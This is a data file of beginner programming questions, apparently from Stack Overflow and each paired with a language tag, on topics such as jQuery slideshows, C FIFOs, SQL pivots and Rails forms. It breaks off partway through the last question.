slide html content  i found an example on how to use jquery slide effect  but im trying to modify it  so its not sliding all the divs  but only the once with a class of some name  i call the class: slide.    it works the first time  but then the child div is being replaced by a blank page  until the next class div will show.. how do i correct this in jquery     i changed next( div ) to next( div.slide ) and i thought it was the only thing needed..   <pre><code>&lt;!doctype html&gt; &lt;html lang= da &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;title&lt;/title&gt;     &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;      &lt;style&gt;         .yourcontainer{ position:relative; }         .yourcontainer div{ position:absolute; hight:300px; width:300px; }     &lt;/style&gt;      &lt;script type= text/javascript  charset= utf-8  src= jq/jquery-1.11.1.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  charset= utf-8  src= jq/jquery-migrate-1.2.1.min.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;div class= yourcontainer &gt;         &lt;div class= slide  style= background:red; &gt;some html              &lt;div style= background:pink; &gt;noooo&lt;/div&gt;         &lt;/div&gt;         &lt;div class= slide  style= background:yellow; &gt;other html&lt;/div&gt;         &lt;div class= slide  style= background:blue; &gt;4 html&lt;/div&gt;         &lt;div class= slide  style= background:green; &gt;5 html&lt;/div&gt;     &lt;/div&gt;      &lt;script&gt;         $(function(){     $( .yourcontainer div:gt(0) ).hide();     setinterval(function(){$( .yourcontainer :first-child ).fadeout(1000).next( div.slide ).fadein(400).end().appendto( .yourcontainer );}  3000); });     &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
"javascript calculated field  i just can t see what am i doing wrong... it doesn t calculate the  stunden  field.     there is some small mistake from my side and i just can t see it.    edited: now all is working as it should    <div class= snippet  data-lang= js  data-hide= false  data-console= true >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).ready(function(){
   $( .item ).keyup(function(){
 
     var starts = 0;
     var ends = 0;
     var stunden = 0;
 
     if (!isnan($(this).find( .starts ).val())) {
       starts = $(this).find( .starts ).val();
     }
     if (!isnan($(this).find( .ends ).val())) {
       ends = $(this).find( .ends ).val();
     }
 
     stunden = ends - starts;
     $(this).find( .stunden ).val(stunden);
 
   });    
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class= container &gt;
   &lt;table id= t1  class= table table-hover &gt;
     &lt;tr&gt;
       &lt;th class= text-center &gt;start time&lt;/th&gt;
       &lt;th class= text-center &gt;end time&lt;/th&gt;
       &lt;th class= text-center &gt;stunden&lt;/th&gt;
     &lt;/tr&gt;
     &lt;tr id= row1  class= item &gt;
       &lt;td&gt;&lt;input name= starts[]  class= starts form-control  &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input name= ends[]  class= ends form-control  &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input name= stunden[]  class= stunden form-control  readonly= readonly  &gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr id= row2  class= item &gt;
       &lt;td&gt;&lt;input name= starts[]  class= starts form-control  &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input name= ends[]  class= ends form-control  &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input name= stunden[]  class= stunden form-control  readonly= readonly  &gt;&lt;/td&gt;
     &lt;/tr&gt;
   &lt;/table&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
how do tag remembers released objects  iphone  i have a separate method to create customized uitableviewcell  which is given below   <pre><code>-(uitableviewcell*)getcellcontentview:(nsstring*)cellidentifier { cgrect photoframe=cgrectmake(10  10  60  60); cgrect label1frame=cgrectmake(85  9  200  32); cgrect label2frame=cgrectmake(85  38  200  25); cgrect labelbgframe=cgrectmake(0  0  320  80);  uitableviewcell *cell=[[[uitableviewcell alloc] initwithframe:cgrectmake(0  0  300  80) reuseidentifier:cellidentifier] autorelease];   uilabel *tmp; tmp=[[uilabel alloc] initwithframe:label1frame]; tmp.tag=1; tmp.textcolor=[uicolor blackcolor]; tmp.font=[uifont boldsystemfontofsize:18]; tmp.backgroundcolor=[uicolor clearcolor]; [cell.contentview addsubview:tmp]; [tmp release]; } </code></pre>   here  @tmp@ is already released ---  then how  iphone remembers released object &amp; we can set    text to that label.,iphone
shifting focus to next textfield  i have a set of 4 textfields. i have applied certain restriction to these textfields which can be easily understood by the code below.   <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string {     nsstring * newstring = [textfield.text stringbyreplacingcharactersinrange:range withstring:string];      if (string.length==0) {         return yes;     }       if (textfield == txt_mins) {         return [[appdelegate sharedinstance] setnumberformat:textfield newstring:newstring         integerlimit:5 fractionlimit:2 numbertype:2];     }     else if (textfield == txt_units){         return [[appdelegate sharedinstance] setnumberformat:textfield newstring:newstring          integerlimit:5 fractionlimit:2 numbertype:2];     }     // below logic is for all 4 modifer textfields     // we are restricting the user to enter only max 2 characters in modifier textfields and      also automatically     // converting each entered character to the uppercase string.     if (textfield==txt_modifier1 || textfield==txt_modifier2 || textfield==txt_modifier3 ||      textfield==txt_modifier4) {         // this condition is restricting the user from entering the special characters in the         modifier textfield.         if ([string rangeofcharacterfromset:[[nscharacterset alphanumericcharacterset]          invertedset]].location != nsnotfound) {             // there are non-alphanumeric characters in the replacement string             return no;         }         else{         nsstring *result = [textfield.text stringbyreplacingcharactersinrange:range          withstring:string.uppercasestring];         if (result.length &lt;= 2)             textfield.text = result;         return no;        }     }     return yes; } </code></pre>   what i actually want is that for txt_modifier1. as soon as i type my two characters in the textfield the focus should shift to the next textfield that is txt_modifier2 and similarly for the other modifier text fields. i have made these restrictions in shouldchangecharactersinrange: method. please suggest the way to handle this enhancement in my code.,ios
i am new to c. second for loop is never ending why is it so <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt; int main() {     float  n  a  sum count count1;     printf( \ninput integer in base 10 :  );     scanf( %f   &amp;n);     for(count=0 ; count&lt;=100 ; ++count){         if(n/pow(2 count)&lt;2 &amp;&amp; n/pow(2 count)&gt;=1)break;     }     a=n-pow(2 count);     sum=pow(10 count);     for(count1=count-1 ; count1&gt;=0 ; --count){         if(a/pow(2 count1)&lt;2 &amp;&amp; a/pow(2 count1)&gt;=1 ){             a-=pow(2 count1);             sum+=pow(10 count1);         }     }     printf( the binary of %.0f is %.0f  n sum);     return 0; } </code></pre>   this code is for printing the binary equivalent of a decimal number without using arrays,c
c2228 - vector methods do not work when vector is named in certain way  i have this weird problem all of a sudden. in the header  i ve put two members like this:   <pre><code>std::vector&lt;std::shared_ptr&lt;component&gt;&gt; m_test1; std::vector&lt;std::vector&lt;std::shared_ptr&lt;component&gt;&gt;&gt; m_test2; std::vector&lt;std::vector&lt;std::shared_ptr&lt;component&gt;&gt;&gt; m_componentsbytype; std::vector&lt;std::vector&lt;std::shared_ptr&lt;component&gt;&gt;&gt; m_componentsbytypes; </code></pre>   now  when i try to call method on these vectors  a weird thing happens:   <pre><code>m_test1.pop_back(); // ok m_test2.pop_back(); // ok m_componentsbytype.pop_back(); // c2228 m_componentsbytypes.pop_back(); // ok </code></pre>   the error c2228 expands to:   <pre><code>error c2228: left of  .pop_back  must have class/struct/union </code></pre>   what could cause that <code>m_componentsbytype</code> is the only one that doesn t work  could this have something to do with vs2013  i ve tried cleaning the project  but it doesn t seem to help. if i change a single character in the variable name and all the references  the code compiles and runs perfectly  but with that specific variable name  every reference causes a compiler error.    forgot to mention that originally i had the exact same variable name  but with a different type. i changed the type and the error appeared.,c++
validation csv file rails using heroku  i have got a such task (i have to use heroku):    i need get file from user computer (csv file)  validate this file and generate a pdf report.    i don t know which flow should be:   <ol> <li>upload file to s3  then download file into a local temp folder  parse and validate file and next send it to s3</li> <li>put a file to tmp folder  validate and then send to s3 server.</li> </ol>   or another solution,ruby-on-rails
sql query: trying to create data as a column with the values based on another column. no pivot or subquery  i have been trying to create a new table based on another table. i have an issue with finding the appropriate query to make data from one column be a new field and have that be based on another column. <strong>note</strong>: i cant use pivot or select sub-queries.    the existing table looks like this:   <pre> +----------+--------------+------------+ | id       | type         | type_value | +----------+--------------+------------+ | 001      | start_date   | 2012-04-08 | | 001      | account      | 4654321    | | 001      | order_amount | 231        | +----------+--------------+------------+ </pre>   it should look something like this:   <pre> +-----+------------+--------------+---------+ | id  | start_date | order_amount | account | +-----+------------+--------------+---------+ | 001 | 2012-04-08 |          231 | 4654321 | +-----+------------+--------------+---------+ </pre>   please not that there are n amount of columns.    the script i have used looks like:   <pre> create table table2 select id type  type_value  case     where type = start_date  then type_value  case     where type = account  then type_value case     where type = order_amount  then type_value          from table1 </pre>    the problem with this i wend up with a table that looks like this:   <pre> +-----+------------+--------------+---------+ | id  | start_date | order_amount | account | +-----+------------+--------------+---------+ | 001 | 2012-04-08 | null         | null    | | 001 | null       | 231          | null    | | 001 | null       | null         | 4654321 | +-----+------------+--------------+---------+ </pre>   any help would be greatly appreciated!,sql
how to do two decimal places roundup in java script  <strong>input:</strong>   <pre><code>11 2.7777777 8.1 </code></pre>   <strong>output:</strong>   <pre><code>11 2.78 8.1 </code></pre>   i d like to round up to 2 decimal places  but only if necessary.    how can i do this in javascript,javascript
"vertical align of text in divs  so i ve got two divs next to each other and i d like the text from the left one to be in one line with the first line from the second one.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
   padding:20px;
   display:inline-block;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= left &gt;adress&lt;/div&gt;
  &lt;div class= right &gt;some street&lt;/br&gt;1200-21 los angeles&lt;/div&gt;</code></pre>
 </div>
 </div>",css
make 2 variables equal to a function  var 1 is automatically changing value to var2  ok so i made a simple program to practise multi-class in java but i m not beeing able to find the solution for this problem:    i have 2 <code>int[][]</code> variables (coordinates)  <code>coords1</code> and <code>coords2</code>  both equaling a function who asks for the coordinates input     the strange part is after the first input  <code>coords1</code> gets it s values  then i input for <code>coords2</code>  which also gets it s values  but at the same time <code>coords1</code> will automatically get the same values as <code>coords2</code> and i don t know why  here s the code:   <pre><code>if(simbolo.equals( circulo ) || simbolo.equals( circulo ) || simbolo.equals( circle ) || simbolo.equals( circle )){             circulo.setcolour();             colour1 = circulo.getcolour();             circulo.setcolour(); //circulo 2             colour2 = circulo.getcolour();             coords1 = circulo.getcoords();                                         //important part             system.out.println( coords1:   + coords1[0][0] +     + coords1[0][1]);//important part             coords2 = circulo.getcoords();//circulo2                              //important part             //system.out.println( coords2:   + coords2[0][0] +     + coords2[0][1]);             system.out.println( 2-coords1:   + coords1[0][0] +     + coords1[0][1]);//important part             circulo.setraio();             r1 = circulo.getrario();             circulo.setraio(); //circulo2             r2 = circulo.getrario();             area1 = calccirclearea(r1);             perimetro1 = calccircleperimeter(r2);             area2 = calccirclearea(r1);//circulo2             perimetro2 = calccircleperimeter(r2);             distance = distance(coords1  coords2);             system.out.println( a distância entre os centros dos círculos é:   + distance);             intersection = intersects(distance  r1  r2);             system.out.println(intersection);         } </code></pre>   the first <code>system.out.println( coords1:   + coords1[0][0] +     + coords1[0][1]);</code> will get me a different value than <code>system.out.println( 2-coords1:   + coords1[0][0] +     + coords1[0][1]);</code>     here s function <code>setcoordinates()</code>:   <pre><code>public int[][] center = new int[1][2];      scanner scan = new scanner(system.in);      public int[][] setcoordinates(){     system.out.println( introduza a coordenada do centro: x  );     center[0][0] = scan.nextint();     system.out.println( y:  );     center[0][1] = scan.nextint();      system.out.println( centro atual:   + arrays.tostring(center[0]));     return center;     } </code></pre>   the function in class <code>circulo</code> <code>getcoords()</code> only gets the returned value from this one.    edit: the <code> important part </code> is where i use those variables    there must be something i m not doing right but where     thank you,java
instapaper-like algorithm  does anyone of an algorithm that extracts contents from a webpage  like <a href= http://www.instapaper.com/  rel= noreferrer >instapaper</a>,html
how to work with php on windows xp   i want to do a sample program in php on windows xp.     do i need any special software to get this to work     i am afraid that i simply open notepad type the php program and save it with php extension. then i open it with the browser as a html file. but it does not work.    please help    thanks in advance,php
how to add a banner/image view on top of uinavigation bar  i wanted to know if there s a way to add some sort of image view on top of the navigation bar. i don t want to cover it  rather  i just want to move the bar down in order to make room for a banner. the myspace app displays a bar right above their navigation bar  and so does the bank of america app. any ideas,iphone
mysql select. limit number of values from one column  task: from mysql standard database  world  select all the cities with population more then a million  limiting number of countries to 10.<br> if i do this:   <pre><code>select country.name  city.name  city.population from country inner join city   on country.code = city.countrycode where city.population &gt;= 1000000 limit 10; </code></pre>   it produces this:   <pre><code>+-------------+--------------+------------+ | name        | name         | population | +-------------+--------------+------------+ | afghanistan | kabul        |    1780000 | | algeria     | alger        |    2168000 | | angola      | luanda       |    2022000 | | argentina   | buenos aires |    2982146 | | argentina   | la matanza   |    1266461 | | argentina   | cã³rdoba     |    1157507 | | armenia     | yerevan      |    1248700 | | australia   | sydney       |    3276207 | | australia   | melbourne    |    2865329 | | australia   | brisbane     |    1291117 | +-------------+--------------+------------+ </code></pre>   argentina  for example  is repeated 3 times. i need to limit number of countries to 10  not number of rows. group by won t do since i need all the cities  i don t need them grouped.    the expected result would be this:   <pre><code>+--------------------+----------------------------+------------+ | name               | name                       | population | +--------------------+----------------------------+------------+ | afghanistan        | kabul                      |    1780000 | | algeria            | alger                      |    2168000 | | angola             | luanda                     |    2022000 | | argentina          | buenos aires               |    2982146 | | argentina          | la matanza                 |    1266461 | | argentina          | cã³rdoba                   |    1157507 | | armenia            | yerevan                    |    1248700 | | australia          | sydney                     |    3276207 | | australia          | melbourne                  |    2865329 | | australia          | brisbane                   |    1291117 | | australia          | perth                      |    1096829 | | azerbaijan         | baku                       |    1787800 | | bangladesh         | dhaka                      |    3612850 | | bangladesh         | chittagong                 |    1392860 | | brazil             | sã£o paulo                 |    9968485 | | brazil             | rio de janeiro             |    5598953 | | brazil             | salvador                   |    2302832 | | brazil             | belo horizonte             |    2139125 | | brazil             | fortaleza                  |    2097757 | | brazil             | brasã­lia                   |    1969868 | | brazil             | curitiba                   |    1584232 | | brazil             | recife                     |    1378087 | | brazil             | porto alegre               |    1314032 | | brazil             | manaus                     |    1255049 | | brazil             | belã©m                     |    1186926 | | brazil             | guarulhos                  |    1095874 | | brazil             | goiã¢nia                   |    1056330 | | united kingdom     | london                     |    7285000 | | united kingdom     | birmingham                 |    1013000 | +--------------------+----------------------------+------------+ </code></pre>   as you can see  number of countries is 10  no matter how many cities.    of course  my database is different. i used the  world  for simplicity  generality  and availability.<br> in the real db i also do some filtering on  country .,mysql
why functions are returned from angular services  while defining a angular services  one is expected to pass a constructor function. this constructor function would be initialized using  new  keyword and the object returned by  new  is set to the service.   so far so good.     however often i come across instances where programmers are creating services as below:   <pre><code>app.service( aobj   function aclass(){    return function(a b){     alert(a + b);   };  }); </code></pre>   this would be called as    <pre><code>aobj(1 2) </code></pre>   although i undertsand that aobj will now end up being a function  i cannot understand why programmers initialize their services this way. constructor functions usually would have a definition like:   <pre><code>app.service( aobj   function aclass(){    this.var1 = undefined;   this.calculate = function(b){     alert(this.var1 + b);   };  }); </code></pre>   then eventually one would call this as      aobj.var1 = 1;     aobj.calculate(2);    can someone elaborate on the purpose of defining services using the former method     <pre><code>plnkr: http://plnkr.co/edit/tpl:frtqqtnoy8befhs9bb0f </code></pre>,angularjs
why is controller reloaded with each navigation  i m trying to create a settings page  which updates some data on the server  and upon success  updates the scope model.    the problem is that with each navigation the controller function executes  thus overriding the changes with some init values.    is there a way to avoid this re-loading with each navigation  alternativaley  is there a technique to retain state of data within angular s tool set,angularjs
read file line by line and add something new to each one  i know something similar has been asked before but i m new to python and i can not find a solution for my problem:    what i want to do is this:  1. open a file and read it line by line. (i already managed to do that) 2. add something new after each line. (i want to combine this with an if statement later so that only specific lines will get edited)    my code:   <pre><code>#!/usr/bin/python3.4  file = open( testfile    r+ )  readlinebyline = file.readline()  for i in range(0  len(readlinebyline)):  readlinebyline.write(    +  checked )  print( done ) </code></pre>   i want my testfile to look like this afterwards:   <pre><code>line1 checked line2 checked line3 checked ... </code></pre>   but instead it looks like this:   <pre><code>line1 line2 line3  checked checked checked </code></pre>   how do i get the program to stop after each line and then add something new to it,python
gap on top after each post  i am working on a website and i want to make the blog page look like that of <a href= http://mashable.com  rel= nofollow >mashable</a>. i styled the post items with the following css    <pre class= lang-css prettyprint-override ><code>#mashable{     float:left;     width:25%; } </code></pre>   they do show horizontally but after each post there is an increased <a href= http://supportseekers.info/680-2/  rel= nofollow >gap on the top</a>. please guide me how can i remove it.    thanks.    note: thanks for pointing out the <code>&lt;br&gt;</code> tag. i have removed it from the code.,css
retriving values from the dynamically added textboxes in asp.net  i am asp.net beginner i am developing one website in which i want to add or remove text boxes dynamically as required (on click event of hyperlink). and on submit button i want to count the number of text boxes created retrieve their values and dump this data in database.    i have used following java script to add the textboxes--   <pre><code>function addtxtbx() {          var txtbxholder = document.getelementbyid( mydiv );          var txtdiv = document.createelement( div );          txtdiv.setattribute( id    myd1 );          var newtxtbx1 = document.createelement( input );           newtxtbx1.type =  text ;            newtxtbx1.setattribute( id    mytext1 );             txtdiv.appendchild(newtxtbx1);            txtbxholder.appendchild(txtdiv);  }  function removetxtbx()  {          var alltxtbxs = document.getelementbyid( mydiv ).getelementsbytagname( div );          if (alltxtbxs.length == 0)           {              alert( there are no text boxes to remove );          }          else           {              document.getelementbyid( mydiv ).removechild(alltxtbxs[alltxtbxs.length -     1]);           }  } </code></pre>   and to access the values used following code on button click   <pre><code>textbox textbox = (textbox)page.findcontrol( mytext1 );  string val = textbox.text; </code></pre>   but it is not working. am i doing something wrong     thanks in advance..,asp.net
c fifo stuck at read()  process is blocked  im writing a simple client-server communication program using fifo on c     i understand how o_wrolny and o_rdonly works(the fact that both side need to be open otherwise they block the process)    after i successfully wrote something into the client_to_server pipe  the server side read() is still blocked  down below are my codes  please take a loot :)    server.c:   <pre><code>void initialization(){      int c_to_s s_to_c;      int readerror;      char* clientfifo =  client_to_server_fifo ;     char* serverfifo =  server_to_client_fifo ;      char buf[bufsiz];       if(mkfifo(serverfifo 0666) &lt; 0)         perror( cannot create serverfifo. );     if(s_to_c = open(serverfifo  o_wronly) == -1)         perror( cannot open serverfifo. );       if(mkfifo(clientfifo 0666) &lt; 0)         perror( cannot create clientfifo. );     if(c_to_s = open(clientfifo  o_rdonly) == -1)         perror( cannot open clientfifo. );       printf( server on.\n );      while(1){         printf( 1\n );         if(readerror = read(c_to_s buf bufsiz) == -1)             perror( cannot read client message. );         printf( 2\n );          if(strcmp( exit  buf) == 0){             printf( server off.\n );             break;         }else{             printf( received: %s\n   buf);             printf( sending back...\n );             write(s_to_c buf bufsiz);         }      }     close(c_to_s);     close(s_to_c);      unlink(serverfifo);     unlink(clientfifo); }  int main(){     initialization();     return 0; } </code></pre>   client.c :   <pre><code>void initialization(){     char pseudo[message_size];      int c_to_s s_to_c;     int readerror;      char* clientfifo =  client_to_server_fifo ;     char* serverfifo =  server_to_client_fifo ;       char msg[message_size] =   ;      if(s_to_c = open(serverfifo  o_rdonly) == -1)         perror( cannot open serverfifo. );      sleep(1);     if(c_to_s = open(clientfifo  o_wronly) == -1)         perror( cannot open clientfifo. );      printf( pseudo&gt;  );     scanf( %s  pseudo);      printf( connected.\n );      while(1){          printf( input message -&gt;  );         scanf( %s  msg);          write(c_to_s msg sizeof(msg));          perror(  write: );          memset(msg  \0  sizeof(msg));          if(readerror = read(s_to_c msg sizeof(msg)) == -1)             perror(  read: );         else             printf( ...received from server: %s\n   msg);     }      close(c_to_s);     close(s_to_c);   }  int main(){     initialization();     return 0; } </code></pre>   the out put from client process:   <pre><code>pseudo&gt; client connected. input message -&gt; hello hello write:: success </code></pre>   the out put from server process:   <pre><code>server on. 1 </code></pre>   i believe the problem relies on server.c line 37.    some how the read() function has not detected any input from client.,c
java 6 equivalent of integer.compare  in java 7 i can use <a href= http://docs.oracle.com/javase/7/docs/api/java/lang/integer.html  rel= nofollow ><code>integer.compare</code></a>  but when i try to use it in java 6 it gives me the error:   <pre><code>cannot find symbol symbol  : method compare(int int) location: class java.lang.integer </code></pre>   how do i create a similar function in java 6,java
ios app to capture video from screen  is there a chance of possibility to create an ios application which would record video from screen and save it on device     i m talking about recording everything that happens on screen not only within bounds of this application.<br>  the app works in background and captures everything.<br> i m playing a game - it is recording  i m watching video - it is recording.     i m 99 percent sure it s impossible  but maybe there s something i m unaware of.,ios
mysql: remove records until  how can i delete all record  until some conditions happen  for example ordered by date. for example if conditions is non zero val  then first 2 records must be removed:   <pre><code> val date  0   10.10.2011  0   11.10.2011  3   12.10.2011  0   13.10.2011  1   14.10.2011 </code></pre>   it can be done with 2 request  but i ask is there better solution.,mysql
how could i get a chars from a text file and put it into a 2d array   for example:   <pre><code>-8-88-8-8-8--8  -8-8-8-8-8-8-8  *-8-8-8-8--8-8  8--8-8-8-8--8- </code></pre>,java
copying rows between identiacal tables with auto increment id s  i have 2 tables with identical structure and auto incremented id s and i m trying to copy rows from one to the other.    when i try to copy a row from table a to table b and the unique id clashes with one which already exists in table b  i would like to simply set the id of the row i m copying in to whatever the next value is for the auto increment counter.    this is proving surprisingly difficult for me though. here s what i have:   <pre><code> insert into tableb select * from tablea where tablea.id =  $id on duplicate key update tableb.id = last_insert_id(tableb.id)  </code></pre>   that doesn t seem to be working for me though. another thing is that i need to ensure that if the key does get changed  i need to be able to tell what the new key is so that i can make the necessary changes for rows in related tables which i m also copying.    can anyone point out what i m doing wrong     i realise there s some similar questions to this around here  i ve read them all but i still can t seem to make sense of this.    <strong>edit for background information:</strong> since someone asked about why my setup is the way it is (and i wouldn t be surprised if it was sub-optimal). basically i m scraping some stuff off another website  through a bunch of string matching  into a db. however  doe to the finicky nature of the scraping process  i don t like to run live queries on recently scraped data. so basically i scrape on a cron schedule  check the data integrity every so often and if it looks ok i copy it into the  live  tables on which queries are run.,mysql
merging two scripts - check if image and size before preview  i ve been attempting to merge the following two scripts into one whereas upon the file chosen to be uploaded is of the correct file type and file size;    <strong>script one:</strong>    <strong>html</strong>   <pre><code>&lt;form id= form1  runat= server &gt;     &lt;input type= file  id= imginp  /&gt;     &lt;img id= blah  src= #  alt= your image  /&gt; &lt;/form&gt; </code></pre>   <strong>jquery</strong>   <pre><code>function readurl(input) {     if (input.files &amp;&amp; input.files[0]) {         var reader = new filereader();         reader.onload = function (e) {             $( #blah ).attr( src   e.target.result);         }         reader.readasdataurl(input.files[0]);     } } $( #imginp ).change(function(){     readurl(this); }); </code></pre>   <strong>jsfiddle</strong> <a href= http://jsfiddle.net/lvsyc/  rel= nofollow >http://jsfiddle.net/lvsyc/</a>    <strong>script two:</strong>   <pre><code>function (e  data) {     var goupload = true;     var uploadfile = data.files[0];     if (!(/\.(gif|jpg|jpeg|tiff|png)$/i).test(uploadfile.name)) {         common.notifyerror( you must select an image file only );         goupload = false;     }     if (uploadfile.size &gt; 2000000) { // 2mb         common.notifyerror( please upload a smaller image  max size is 2 mb );         goupload = false;     }     if (goupload == true) {         data.submit();     } }  </code></pre>,jquery
way to execute a .net application on specific days  i have a requirement where an application which is run by windows service to be executed on specific days in a week(sunday through saturday). these days should be stored in a config file and can be changed by user at any time.    can you please point to right direction in achieving this. please let me know if you need any clarification on this.,c#
i am getting the following error while running an app on android studio   f:\android sdk\tools\emulator.exe  -avd nexus_5_api_21_x86 -netspeed full -netdelay none emulator: error: x86 emulation currently requires hardware acceleration! please ensure intel haxm is properly installed and usable. cpu acceleration status: hax kernel module is not installed!,android
javascript - load second image frames on the end of the first image cycle  i have an image called <code>frames.png</code>. actually it is not an image frame  it s a large height image containing sections called  frames . example: <a href= http://s21.postimg.org/i3fortt5z/frames.png  rel= nofollow >http://s21.postimg.org/i3fortt5z/frames.png</a>    on dom is ready  the frame (<em>or if you like it better section</em>) #1 is shown  then 2  3  4  5  6 ... until frame #11. so basically the absolute top position of the large height image is changed on a regular time interval.    until this phase everything is working. you can see a live working demo here: <a href= http://jsfiddle.net/henrichro/pca5q/2/  rel= nofollow >http://jsfiddle.net/henrichro/pca5q/2/</a>    concretely with this approach you can use your creativity and build nice  animations  in html &amp; js.    <strong>what i need to do:</strong>    when the animation arrives to the last frame/section of the first image  i d would like to load the second image. when hitting the last frame/section of the second image  if no more images are loaded inline the html code  to begin the animation from first frame/section of the very first image.    i don t know how to proceed. if it is okay loading the images inline  if there is another cross-browser and cross-device (ipad  iphone  etc.) possibility. or maybe i should use an array of images in javascript  what i do know  the <code>step</code> variable from the <code>startanimation</code> function is returning the number of frames/section of the image. the full height of the object is taken and divided on the offset height declared in css (<code>.animation-frame</code>). when we hit the last frame/section  there should happen a load into the cycle  but i don t know how to do this.    <strong>why i am loading more than one image  instead of using one large height image </strong>    because firefox is having a problem with very large images: <a href= https://support.mozilla.org/en-us/questions/973667  rel= nofollow >https://support.mozilla.org/en-us/questions/973667</a>,javascript
strong immutability vs weak immutability in java   in a java interview q&amp;a list i have  it says that  in java you can make an object immutable in three ways. one of the ways is:   <blockquote>    ensure that methods can t be overridden by either making the class   final (strong immutability) or making your methods final (weak   immutability).  </blockquote>   how is it that making methods final is considered less immutable than making the class final  also  what is meant by strong immutability and weak immutability,java
copy content from one field to another  i’m looking for a <code>sql</code> query script:   <pre><code>copy contactname  city      where customerid (a) to contactname  city     where customerid (b) </code></pre>   <img src= https://i.stack.imgur.com/ly6pb.jpg  alt= example >    i know this isn’t right  but i hope you understand what i mean.    regards!,sql
rails: how to get items in drop down select list to connect to a form   i want a logged in user to vote on a topic.    asking the user to input a vote into a text field works fine:   <pre><code>_form.html.erb     ...............    &lt;p&gt;      &lt;h1 style= color:red; &gt; register your vote &lt;/h1&gt;      &lt;%= form_for @topic do |t| %&gt;      &lt;%=t.label : #{current_user.name}_vote .to_sym%&gt;      &lt;%= t.text_field  : #{current_user.name}_vote .to_sym%&gt;      &lt;%= t.submit  submit vote   class:  btn btn-primary btn-lg  %&gt;    &lt;/p&gt;    .............. </code></pre>   but this would be improved by selection from a dropdown list.      i can get a list by:   <pre><code>&lt;select name=#{current_user.name}_vote &gt;    &lt;%= @votes.each do |vote| %&gt;     &lt;option value= &lt;%= vote %&gt; &gt;&lt;%= vote %&gt;&lt;/option&gt;    &lt;% end %&gt; &lt;/select&gt; </code></pre>   but i have failed to find how to connect it to the form  so i get the error  param is missing or the value is empty: topic     i ve spent ages working at this without success.  i am am rank beginner in rails. please help if you can. thank you.,ruby-on-rails
php cant pass variable include file   lets go to the point     i hava a form like this    <strong>exhibition.php</strong>   <pre><code>&lt; php     include( email_class.php ); if(isset($_post[save])){     $email = $_post[email];    $company = $_post[company];    $gender  = $_post[gender];    $buyer   = $_post[buyer];  $discussion = $_post[discussion];      $class = new email_class();      $class-&gt;notifikasi($discussion);    }//end if   &gt; </code></pre>   and the code include file like this    <strong>email_class.php</strong>   <pre><code>&lt; php  class email_class{     function notifikasi($discussion){         if($discussion ==  discussion ){           $to  = $email;               $subjek =  thanks for visiting us at gulfood exhibition  dubai ;         $message =  &lt;html&gt;         &lt;head&gt;             &lt;title&gt;exibithion email&lt;/title&gt;         &lt;/head&gt;           &lt;body&gt;           bla blaa ;  $message.=  dear &lt;b&gt;  .$gender.   .$buyer. &lt;/b&gt;&lt;br&gt;&lt;br&gt; ;  $headers  =  mime-version: 1.0  .  \r\n ;      $headers .=  content-type:text/html;charset=utf-8  .  \r\n ;      $headers .=  from: **** group &lt;export@***&gt;  .  \r\n ;  echo $message;       }//end if             }//end function   }//end of class     &gt; </code></pre>   ok  echo html mail is succees. anything is running well  only the variabel from exhibition.php cant pass to the email_class.php.    can anyone fix my problem,php
html website display option  i am a beginner in html programming and i have the following question. im working on a simple try-out.    i have following selection menu:   <pre><code>&lt;p&gt;kies de frisdrank:&lt;/p&gt; &lt;select id= frisdrank &gt;   &lt;option value= cola &gt; cola &lt;/option&gt;   &lt;option value= fanta &gt; fanta &lt;/option&gt;   &lt;option value= spuitwater &gt; spuitwater &lt;/option&gt;   &lt;option value= chocolademelk &gt; chocolademelk &lt;/option&gt; &lt;/select&gt; </code></pre>   i also have a button:   <pre><code>    &lt;input id= ok  type= button  value= ok &gt; </code></pre>   now how do i display a text somewhere or a label that says what option is selected when i press the button  i understand this is very basic but still i cant handle to do this.    ** update!!! **    thanks everyone already for the help! now i figured out how to do this. here is my followup question :  can i add another textfield with a matching price  like if you select cola then the price is for example 20. and if you select fanta the price is 25     i figured out the javascript. i already have a little bit experience with normal java.     thanks for helping me out!,html
change params with rails after checkbox is checked  i have a page that will display media that has already been uploaded to my website.  there will be 3 check boxes  one for each type of media  the check boxes are images  catalog_images  and videos.  once one is checked i want the page to reload the same page but add the check box to the parameters as being checked  so it will display the media(s) checked.    i v been attempting to do it with javascript unsuccessfully.  i was hoping rails would have a built in function or something to help me out.  i will continue doing research and update this question if someone doesn t beat me to it.    edit:  i had a request for code  which i didnt want to include just because it is in production already and has a lot of junk around it but i ll try to clean it up and give and idea of what im doing   <pre><code>&lt;div class= panel &gt;     &lt;h3&gt;create from media&lt;/h3&gt;     &lt;div&gt;         image: &lt;%= check_box_tag  catalog image   :catalog_images %&gt; | images: &lt;%= check_box_tag  images   :images %&gt; | video: &lt;%= check_box_tag  videos   :videos %&gt;         &lt;br /&gt;         &lt;% if @filenames %&gt;             &lt;table class= list &gt;                     &lt;th&gt;lots&lt;/th&gt;                     &lt;th&gt;sub lot creation&lt;/th&gt;            &lt;% if :videos %&gt;               &lt;% @videos.reject(&amp;:blank ).uniq.each do |filename| %&gt;                     &lt;% basename = file.basename(filename   .* ) %&gt;                      &lt;tr&gt;                         &lt;td&gt;&lt;%= basename 